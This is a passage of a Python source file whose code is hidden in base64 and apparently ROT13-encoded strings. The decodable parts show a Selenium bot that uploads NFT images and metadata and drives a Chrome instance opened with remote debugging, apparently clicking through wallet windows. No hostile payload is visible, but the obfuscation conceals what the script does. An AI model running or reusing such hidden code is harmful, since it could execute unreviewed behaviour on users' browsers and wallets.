lYW5WYXIoKQppc19wb2x5Z29uLnNldChUcnVlKQoKaXNfbGlzdGluZyA9IEJvb2xlYW5WYXIoKQppc19saXN0aW5nLnNldChUcnVlKSAKCmlzX251bWZvcm1hdCA9IEJvb2xlYW5WYXIoKQppc19udW1mb3JtYXQuc2V0KEZhbHNlKSAKCgoKCmRlZiBvcGVuX2Nocm9tZV9wcm9maWxlKCk6CiAgICBzdWJwcm9jZXNzLlBvcGVuKAogICAgICAgIFsKICAgICAgICAgICAgInN0YXJ0IiwKICAgICAgICAgICAgImNocm9tZSIsCiAgICAgICAgICAgICItLXJlbW90ZS1kZWJ1Z2dpbmctcG9ydD04OTg5IiwKICAgICAgICAgICAgIi0tdXNlci1kYXRhLWRpcj0iICsgbWFpbl9kaXJlY3RvcnkgKyAiL2Nocm9tZV9wcm9maWxlIiwKICAgICAgICBdLAogICAgICAgIHNoZWxsPVRydWUsCiAgICApCgoKZGVmIHNhdmVfZmlsZV9wYXRoKCk6CiAgICAjcmV0dXJuIG9zLnBhdGguam9pbihzeXMucGF0aFswXSwgIlNhdmVfZmlsZS5jbG91ZCIpIAogICAgcmV0dXJuIG9zLnBhdGguam9pbihzeXMucGF0aFswXSwgIlNhdmVfZ3VpLmNsb3VkIikgCgoKIyBhc2sgZm9yIGRpcmVjdG9yeSBvbiBjbGlja2luZyBidXR0b24sIGNoYW5nZXMgYnV0dG9uIG5hbWUuCmRlZiB1cGxvYWRfZm9sZGVyX2lucHV0KCk6CiAgICBnbG9iYWwgdXBsb2FkX3BhdGgKICAgIHVwbG9hZF9wYXRoID0gZmlsZWRpYWxvZy5hc2tkaXJlY3RvcnkoKQogICAgTmFtZV9jaGFuZ2VfaW1nX2ZvbGRlcl9idXR0b24odXBsb2FkX3BhdGgpCgpkZWYgTmFtZV9jaGFuZ2VfaW1nX2ZvbGRlcl9idXR0b24odXBsb2FkX2ZvbGRlcl9pbnB1dCk6CiAgICB1cGxvYWRfZm9sZGVyX2lucHV0X2J1dHRvblsidGV4dCJdID0gdXBsb2FkX2ZvbGRlcl9pbnB1dAoKZGVmIGlzX251bWVyaWModmFsKToKCWlmIHN0cih2YWwpLmlzZGlnaXQoKToKCQlyZXR1cm4gVHJ1ZQoJZWxpZiBzdHIodmFsKS5yZXBsYWNlKCcuJywnJywxKS5pc2RpZ2l0KCk6CgkJcmV0dXJuIFRydWUKCWVsc2U6CgkJcmV0dXJuIEZhbHNlCgpjbGFzcyBJbnB1dEZpZWxkOgogICAgZGVmIF9faW5pdF9fKHNlbGYsIGxhYmVsLCByb3dfaW8sIGNvbHVtbl9pbywgcG9zLCAgbWFzdGVyPXJvb3QpOgogICAgICAgIHNlbGYubWFzdGVyID0gbWFzdGVyCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZCA9IEVudHJ5KHNlbGYubWFzdGVyLCB3aWR0aD02MCkKICAgICAgICBzZWxmLmlucHV0X2ZpZWxkLmdyaWQoaXBhZHk9MykKICAgICAgICBzZWxmLmlucHV0X2ZpZWxkLmxhYmVsID0gTGFiZWwobWFzdGVyLCB0ZXh0PWxhYmVsLCBhbmNob3I9InciLCB3aWR0aD0yMCwgaGVpZ2h0PTEgKQogICAgICAgIHNlbGYuaW5wdXRfZmllbGQubGFiZWwuZ3JpZChyb3c9cm93X2lvLCBjb2x1bW49Y29sdW1uX2lvLCBwYWR4PTEyLCBwYWR5PTIpCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5ncmlkKHJvdz1yb3dfaW8sIGNvbHVtbj1jb2x1bW5faW8gKyAxLCBwYWR4PTEyLCBwYWR5PTIpCiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oc2F2ZV9maWxlX3BhdGgoKSwgInJiIikgYXMgaW5maWxlOgogICAgICAgICAgICAgICAgbmV3X2RpY3QgPSBwaWNrbGUubG9hZChpbmZpbGUpCiAgICAgICAgICAgICAgICBzZWxmLmluc2VydF90ZXh0KG5ld19kaWN0W3Bvc10pCiAgICAgICAgZXhjZXB0IEZpbGVOb3RGb3VuZEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICBkZWYgaW5zZXJ0X3RleHQoc2VsZiwgdGV4dCk6CiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5kZWxldGUoMCwgImVuZCIpCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5pbnNlcnQoMCwgdGV4dCkKCiAgICBkZWYgc2F2ZV9pbnB1dHMoc2VsZiwgcG9zKToKICAgICAgICAjbWVzc2FnZWJveC5zaG93d2FybmluZygic2hvd3dhcm5pbmciLCAiV2FybmluZyIpCiAgICAgICAgaW5wdXRfc2F2ZV9saXN0Lmluc2VydChwb3MsIHNlbGYuaW5wdXRfZmllbGQuZ2V0KCkpCiAgICAgICAgd2l0aCBvcGVuKHNhdmVfZmlsZV9wYXRoKCksICJ3YiIpIGFzIG91dGZpbGU6CiAgICAgICAgICAgIHBpY2tsZS5kdW1wKGlucHV0X3NhdmVfbGlzdCwgb3V0ZmlsZSkKICAgICAgICAgICAgCiAgICBkZWYgdmFsaWRhdGVfaW5wdXRzKHNlbGYsIG1heGxlbiwgdHlwZSwgbWVzc2FnZSk'
6 | love = '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'
7 | god = '0gc3RhcnRfbnVtOgogICAgICAgIGlmIGlzX251bWZvcm1hdC5nZXQoKToKICAgICAgICAgICAgc3RhcnRfbnVtZm9ybWF0ID0gZiJ7IHN0YXJ0X251bTowNH0iCiAgICAgICAgZWxzZToKICAgICAgICAgICAgIHN0YXJ0X251bWZvcm1hdCA9IGYieyBzdGFydF9udW06MDF9IgoKICAgICAgICBwcmludCgiU3RhcnQgY3JlYXRpbmcgTkZUICIgKyAgbG9vcF90aXRsZSArIHN0cihzdGFydF9udW1mb3JtYXQpKQogICAgICAgIHByaW50KCdudW1iZXIgJywgIHN0YXJ0X251bWZvcm1hdCkKICAgICAgICBkcml2ZXIuZ2V0KGNvbGxlY3Rpb25fbGluaykKICAgICAgICAKICAgICAgICAKICAgICAgICB3YWl0X3hwYXRoKCcvLypbQGlkPSJtZWRpYSJdJykKICAgICAgICBpbWFnZVVwbG9hZCA9IGRyaXZlci5maW5kX2VsZW1lbnRfYnlfeHBhdGgoJy8vKltAaWQ9Im1lZGlhIl0nKQogICAgICAgIGltYWdlUGF0aCA9IG9zLnBhdGguYWJzcGF0aChmaWxlX3BhdGggKyAiXFxpbWFnZXNcXCIgKyBzdHIoc3RhcnRfbnVtZm9ybWF0KSArICIuIiArIGxvb3BfZmlsZV9mb3JtYXQpICAjIGNoYW5nZSBmb2xkZXIgaGVyZQogICAgICAgIGltYWdlVXBsb2FkLnNlbmRfa2V5cyhpbWFnZVBhdGgpCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCgogICAgICAgIG5hbWUgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJuYW1lIl0nKQogICAgICAgIG5hbWUuc2VuZF9rZXlzKGxvb3BfdGl0bGUgKyBzdHIoc3RhcnRfbnVtZm9ybWF0KSkgICMgKzEwMDAgZm9yIG90aGVyIGZvbGRlcnMgI2NoYW5nZSBuYW1lIGJlZm9yZSAiIyIKICAgICAgICB0aW1lLnNsZWVwKDAuOCkKCiAgICAgICAgZXh0X2xpbmsgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJleHRlcm5hbF9saW5rIl0nKQogICAgICAgIGV4dF9saW5rLnNlbmRfa2V5cyhsb29wX2V4dGVybmFsX2xpbmspCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCgogICAgICAgIGRlc2MgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJkZXNjcmlwdGlvbiJdJykKICAgICAgICBkZXNjLnNlbmRfa2V5cyhsb29wX2Rlc2NyaXB0aW9uKQogICAgICAgIHRpbWUuc2xlZXAoMC44KQoKICAgICAgICAjanNvbkRhdGEgPSBKU09OKGZpbGVfcGF0aCArICIvanNvbi8iKyBzdHIoc3RhcnRfbnVtKSArICIuanNvbiIpLnJlYWRGcm9tRmlsZSgpCgogICAgICAgIGpzb25GaWxlID0gZmlsZV9wYXRoICsgIi9qc29uLyIrIHN0cihzdGFydF9udW1mb3JtYXQpICsgIi5qc29uIgogICAgICAgIGlmIG9zLnBhdGguaXNmaWxlKGpzb25GaWxlKSBhbmQgb3MuYWNjZXNzKGpzb25GaWxlLCBvcy5SX09LKToKICAgICAgICAgICAKICAgICAgICAgICAgI3ByaW50KHN0cihqc29uTWV0YURhdGEpKQogICAgICAgICAgICB3YWl0X2Nzc19zZWxlY3RvcigiYnV0dG9uW2FyaWEtbGFiZWw9J0FkZCBwcm9wZXJ0aWVzJ10iKQogICAgICAgICAgICBwcm9wZXJ0aWVzID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV9jc3Nfc2VsZWN0b3IoImJ1dHRvblthcmlhLWxhYmVsPSdBZGQgcHJvcGVydGllcyddIikKICAgICAgICAgICAgZHJpdmVyLmV4ZWN1dGVfc2NyaXB0KCJhcmd1bWVudHNbMF0uY2xpY2soKTsiLCBwcm9wZXJ0aWVzKQogICAgICAgICAgICB0aW1lLnNsZWVwKDAuOCkKCiAgICAgICAgICAgICMganNvbkRhdGEgPSBKU09OKG9zLmdldGN3ZCgpICsgIi9kYXRhLyIrIHN0cihzdGFydF9udW0pICsgIi5qc29uIikucmVhZEZyb21GaWxlKCkKICAgICAgICAgICAgIyBqc29uTWV0YURhdGEgPSBqc29uRGF0YVsnYXR0cmlidXRlcyddCgogICAgICAgICAgICAgIyBjaGVja3MgaWYgZmlsZSBleGlzdHMKICAgICAgICAgICAganNvbkRhdGEgPSBqc29uLmxvYWRzKG9wZW4oZmlsZV9wYXRoICsgIlxcanNvblxcIisgc3RyKHN0YXJ0X251bWZvcm1hdCkgKyAiLmpzb24iKS5yZWFkKCkpCiAgICAgICAgICAgIGpzb25NZXRhRGF0YSA9IGpzb25EYXRhWydhdHRyaWJ1dGVzJ10KCiAgICAgICAgICAgIGZvciBrZXkgaW4ganNvbk1ldGFEYXRhOgogICAgICAgICAgICAgICAgaW5wdXQxID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy90Ym9keVtAY2xhc3M9IkFzc2V0VHJhaXRzRm9ybS0tYm9keSJdL3RyW2xhc3QoKV0vdGRbMV0vZGl2L2Rpdi9pbnB1dCcpCiAgICAgICAgICAgICAgICBpbnB1dDIgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL3Rib2R5W0BjbGFzcz0iQXNzZXRUcmFpdHNGb3JtLS1ib2R5Il0vdHJbbGFzdCgpXS90ZFsyXS9kaXYvZGl2L2lucHV0JykKICAgICAgICAgICAgICAgICNwcmludChzdHIoa2V5Wyd0cmFpdF90eXBlJ10pKQogICAgICAgICAgICAgICAgI3ByaW50KHN0cihrZXlbJ3ZhbHVlJ10pKQogICAgICAgICAgICAgICAgaW5wdXQxLnNlbmRfa2V5cyhzdHIoa2V5Wyd0cmFpdF90eXBlJ10pKQogICAgICAgICAgICAgICAgaW5wdXQyLnNlbmRfa2V5cyhzdHIoa2V5Wyd2YWx1ZSddKSkKICAgICAgICAgICAgICAgICMgZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy9idXR0b25bdGV4dCgpPSJBZGQgbW9yZSJdJykuY2xpY2soKQogICAgICAgICAgICAgICAgYWRkbW9yZV9idXR0b24gPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL2J1dHRvblt0ZXh0KCk9IkFkZCBtb3JlIl0nKQogICAgICAgICAgICAgICAgZHJpdmVyLmV4ZWN1dGVfc2NyaXB0KCJhcmd1bWVudHNbMF0uY2xpY2soKTsiLCBhZGRtb3JlX2J1dHRvbikKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjkpCgogICAgICAgICAgICBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL2J1dHRvblt0ZXh0KCk9IlNhdmUiXScpLmNsaWNrKCkKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjgpCgoKCiAgICAgICAgIyBTZWxlY3QgUG9seWdvbiBibG9ja2NoYWluIGlmIGFwcGxpY2FibGUKICAgICAgICAjaWYgaXNfcG9seWdvbi5nZXQoKToKICAgICAgICAgICAgIyBibG9ja2NoYWluX2J1dHRvbiA9IGRyaXZlci5maW5kX2VsZW1lbnQoQnkuWFBBVEgsICcvLypbQGlkPSJfX25leHQiXS9kaXZbMV0vbWFpbi9kaXYvZGl2L3NlY3Rpb24vZGl2L2Zvcm0vZGl2WzddL2Rpdi9kaXZbMl0nKQogICAgICAgICAgICAjIGJsb2NrY2hhaW5fYnV0dG9uLmNsaWNrKCkKICAgICAgICAgICAgIyBwb2x5Z29uX2J1dHRvbl9sb2NhdGlvbiA9ICcvL3NwYW5bbm9ybWFsaXplLXNwYWNlKCkgPSAiTXVtYmFpIl0nCiAgICAgICAgICAgICMgd2FpdC51bnRpbChFeHBlY3RlZENvbmRpdGlvbnMucHJlc2VuY2Vfb2ZfZWxlbWVudF9sb2NhdGVkKAogICAgICAgICAgICAjICAgICAoQnkuWFBBVEgsIHBvbHlnb25fYnV0dG9uX2xvY2F0aW9uKSkpCiAgICAgICAgICAgICMgcG9seWdvbl9idXR0b24gPSBkcml2ZXIuZmluZF9lbGVtZW50KAogICAgICAgICAgICAjICAgICBCeS5YUEFUSCwgcG9seWdvbl9idXR0b25fbG9jYXRpb24pCiAgICAgICAgICAgICMgcG9seWdvbl9idXR0b24uY2xpY2soKQoKCiAgICAgICAgY3JlYXRlID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy8qW0BpZD0iX19uZXh0Il0vZGl2WzFdL21haW4vZGl2L2Rpdi9zZWN0aW9uL2RpdlsyXS9mb3JtL2Rpdi9kaXZbMV0vc3Bhbi9idXR0b24nKQogICAgICAgIGRyaXZlci5leGVjdXRlX3NjcmlwdCgiYXJndW1lbnRzWzBdLmNsaWNrKCk7IiwgY3JlYXRlKQogICAgICAgIHRpbWUuc2xlZXAoMC44KQoKICAgICAgICAjIHdhaXRfY3NzX3NlbGVjdG9yKCJpW2FyaWEtbGFiZWw9J0Nsb3NlJ10iKQogICAgICAgICMgY3Jvc3MgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X2Nzc19zZWxlY3RvcigiaVthcmlhLWxhYmVsPSdDbG9zZSddIikKICAgICAgICAjIGNyb'
8 | destiny = '3AmYzAfnJAeXPxXPvNtVPNtVPNtq2ScqS94pTS0nPtaY2u0oJjiLz9xrF9xnKMoAI0iMTy2Y2Ecqv9xnKLiMTy2JmWqY2W1qUEiov9cWlxXVPNtVPNtVPOwpz9mplN9VTElnKMypv5znJ5xK2IfMJ1yoaEsLaysrUOuqTtbWl9bqT1fY2WiMUxiMTy2JmIqY2Ecqv9xnKLiMTy2Y2EcqyflKF9vqKE0o24inFpcPvNtVPNtVPNtL3Wip3ZhL2kcL2fbXDbtVPNtVPNtVUEcoJHhp2kyMKNbZP44XDbXVPNtVPNtVPOgLJyhK3OuM2HtCFOxpzy2MKVhL3IlpzIhqS93nJ5xo3qsnTShMTkyPtbtVPNtVPNtVTyzVTymK2kcp3EcozphM2I0XPx6PvNtVPNtVPNtVPNtVUqunKEsrUOuqTtbWl8iXygNnJD9Vy9sozI4qPWqY2EcqyfkKF9gLJyhY2Ecqv9xnKLiMTy2JmSqY2Ecqv9mpTShJmWqY2RaXDbtVPNtVPNtVPNtVPOmMJkfVQ0tMUWcqzIlYzMcozEsMJkyoJIhqS9vrI94pTS0nPtaYl8dJ0OcMQ0vK19hMKu0Vy0iMTy2JmSqY21unJ4iMTy2Y2Ecqv9xnKMoZI0iMTy2Y3AjLJ5oZy0iLFpcPvNtVPNtVPNtVPNtVUAyoTjhL2kcL2fbXDbXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzyhpUI0J3OfLJAynT9fMTIlCFqOoJ91oaDaKFVcPvNtVPNtVPNtVPNtVTSgo3IhqPN9VTElnKMypv5znJ5xK2IfMJ1yoaEsLaysL3AmK3AyoTIwqT9lXPWcoaO1qSgjoTSwMJuioTEypw0aDJ1iqJ50W10vXDbtVPNtVPNtVPNtVPOuoJ91oaDhp2IhMS9eMKymXUA0pvufo29jK3OlnJAyXFxXVPNtVPNtVPNtVPNtqTygMF5moTIypPtkXDbXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzW1qUEioyg0rKOyCFqmqJWgnKDaKFVcPvNtVPNtVPNtVPNtVTkcp3EcozptCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ3E5pTH9W3A1Lz1cqPqqVvxXVPNtVPNtVPNtVPNtoTymqTyhMl5woTywnltcPvNtVPNtVPNtVPNtVUEcoJHhp2kyMKNbZGNcPtbtVPNtVPNtVPNtVPNwMz9lVRkcqzHXVPNtVPNtVPNtVPNtV3qunKEsL3AmK3AyoTIwqT9lXPWvqKE0o25oL2kup3Z9W0Wfo2AepzIuL3EsK0Wfo2AeYKAwYGS4MwR4rQLgZPOPqKE0o25lMJSwqS9sH3E5oTIxDaI0qT9hYKAwYJqfMz1uZl0jVTWbpHIXLvOzraqRM0jaKFVcPvNtVPNtVPNtVPNtVPAmnJqhL29gpTkyqTHtCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ2AfLKAmCFqPoT9wn3WyLJA0K19PoT9wnl1mLl0krTLkBUt2YGNtDaI0qT9hpzIuL3EsK1A0rJkyMRW1qUEiov1mLl1aoTMgLGZgZPOvnUSSFzVtMac3ETqZW10vXDbtVPNtVPNtVPNtVPNwp2yaozAioKOfMKEyYzAfnJAeXPxXVPNtVPNtVPNtVPNtV2ElnKMypv5yrTIwqKEyK3AwpzyjqPtvLKWaqJ1yoaEmJmOqYzAfnJAeXPx7Vvjtp2yaozAioKOfMKEyXDbXVPNtVPNtVPNtVPNtnJLtnKAspT9frJqiov5aMKDbXGbXVPNtVPNtVPNtVPNtVPNtVTElnKMypv5znJ5xK2IfMJ1yoaEsLaysrUOuqTtbWl8iLaI0qT9hJ3EyrUDbXG0vH2yaovWqWlxhL2kcL2fbXDbtVPNtVPNtVPNtVPNtVPNtqTygMF5moTIypPtkXDbXVPNtVPNtVPNtVPNtMz9lVTuuozEfMFOcovOxpzy2MKVhq2yhMT93K2uuozEfMKZ6PvNtVPNtVPNtVPNtVPNtVPOcMvObLJ5xoTHtVG0toJScoy9jLJqyBtbtVPNtVPNtVPNtVPNtVPNtVPNtVTkiM2yhK3OuM2HtCFObLJ5xoTHXVPNtVPNtVPNtVPNtVPNtVPNtVPNwLaWyLJfXVPNtVPNtVPNtVPNtVlOwnTShM2HtqTuyVTAioaElo2jtqT8tp2yaozyhVUOuM2HXVPNtVPNtVPNtVPNtMUWcqzIlYaA3nKEwnS90ol53nJ5xo3pboT9anJ5spTSaMFxXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzW1qUEioygxLKEuYKEyp3EcMQ0apzIkqJImqP1mnJqhLKE1pzIsK3AcM24aKFVcPvNtVPNtVPNtVPNtVUAcM24tCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ2EuqTRgqTImqTyxCFqlMKS1MKA0YKAcM25uqUIlMI9sp2yaovqqVvxXVPNtVPNtVPNtVPNtp2yaov5woTywnltcPvNtVPNtVPNtVPNtVUEcoJHhp2kyMKNbZFxXVPNtVPNtVPNXVPNtVPNtVPNwL2uuozqyVTAioaElo2jtqT8toJScovOjLJqyPvNtVPNtVPN